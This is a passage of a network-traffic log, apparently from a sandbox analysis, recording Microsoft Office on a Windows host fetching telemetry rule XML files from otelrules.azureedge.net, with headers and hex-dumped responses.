53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:23 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:23 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:23 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 16f71f95-f01e-0099-73fb-259171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071823Z-16849878b78tg5n42kspfr0x4800000004qg0000000082kx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:23 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:23 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:23 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:23 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 927d9f3b-101e-0034-1176-2796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071823Z-17c5cb586f66g7mvbfuqdb2m3n00000004ug0000000039f3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:23 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:23 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:23 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:23 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: c0e66d29-801e-00a0-12d5-272196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071823Z-r197bdfb6b4gx6v9pg74w9f47s00000006dg000000009vny x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:23 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:24 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:24 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:24 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: ee736da1-b01e-001e-7be0-260214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071824Z-17c5cb586f672xmrz843mf85fn00000003m0000000000byq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:24 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:24 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:24 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:24 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 92eac08a-601e-0001-29b2-26faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071824Z-16849878b78km6fmmkbenhx76n000000045000000000043t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:24 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:24 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:24 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:24 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 2f6e7a45-901e-0083-466a-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071824Z-16849878b78xblwksrnkakc08w00000003x000000000apbs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:24 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:24 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:24 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:24 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 10294bf0-701e-0021-254d-273d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071824Z-17c5cb586f62blg5ss55p9d6fn000000057g000000003xfz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:24 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:24 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:24 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:24 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: a1e8ab16-701e-0050-601c-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071824Z-16849878b78km6fmmkbenhx76n000000042g000000005k9b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:24 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:25 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:25 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:25 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 141f8a5a-601e-000d-3b74-272618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071825Z-16849878b78z2wx67pvzz63kdg00000003a000000000851t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 07:18:25 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:25 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:25 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:25 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: ff0e8b8f-401e-008c-1c9c-2786c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071825Z-17c5cb586f6b6kj91vqtm6kxaw000000039g000000009xf1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:25 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:25 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:25 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:25 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 7b68ac53-d01e-0082-7e67-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071825Z-16849878b78p49s6zkwt11bbkn000000047g00000000m1w3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:25 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:25 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
